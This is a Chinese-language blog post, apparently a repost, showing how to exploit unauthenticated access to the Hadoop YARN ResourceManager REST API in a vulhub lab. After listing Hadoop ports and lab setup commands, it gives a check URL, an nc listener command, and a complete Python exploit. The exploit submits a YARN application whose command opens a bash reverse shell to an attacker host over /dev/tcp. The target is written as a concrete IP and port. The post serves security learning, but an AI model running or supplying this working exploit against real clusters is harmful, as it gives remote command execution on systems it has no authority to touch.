0


Hadoop-未授权访问-内置配合命令执行RCE

一、Hadoop常见端口及配置文件

Hadoop中有多种端口,这些端口用于不同的服务和通信。以下是Hadoop中常见的端口以及它们的用途:

NameNode Web界面端口 (默认: 9870)

NameNode 对客户端服务端口 (默认: 8020)

Secondary NameNode Web界面端口 (默认: 9868)

Secondary NameNode 对DN的服务端口 (默认: 50020)

ResourceManager 管理界面端口 (默认: 8088)

DataNode 数据传输端口 (默认: 50010)

DataNode 服务端口 (默认: 50075)

NodeManager 管理界面端口 (默认: 8042)

这些端口可以在Hadoop的配置文件中找到,通常位于$HADOOP_HOME/etc/hadoop/目录下的
core-site.xml, hdfs-site.xml, yarn-site.xml, 和 mapred-site.xml文件中。

二、复现环境

方法一

https://vulfocus.cn/#/dashboard

方法二

用 vulhub 开启环境
切换到漏洞环境目录

cd /root/vulhub/hadoop/unauthorized-yarn

构建(重新构建)项目中的服务容器

docker-compose build

启动已定义在docker-compose.yml文件中的服务容器,并以守护进程的方式在后台运行(启动靶场)

docker-compose up -d

关闭靶场

docker-compose down

三、介绍漏洞

vulhub官方介绍

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

知道创宇

https://www.seebug.org/search/?keywords=hadoop&category=&level=all

四、演示

访问漏洞靶场

启动漏洞环境,访问漏洞地址

http://123.58.224.8:31227/

漏洞存在判断

访问

http://123.58.224.8:31227/cluster/apps 

如果能成功访问说明漏洞存在

开启监听

在监听服务器上开启nc监听

nc -nvlp 9999

exp脚本

反弹shell的exp

import requests

target = 'http://123.58.224.8:31227/'     # 目标地址
lhost = 'x.x.x.x'                         # 接收shell的攻击机ip

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

运行脚本

python exp.py

查看监听服务器

成功反弹shell


本文转载自: https://blog.csdn.net/MateSnake/article/details/138769895
版权归原作者 Manba_77 所有, 如有侵权,请联系我们删除。

“Hadoop-未授权访问-内置配合命令执行RCE”的评论:

还没有评论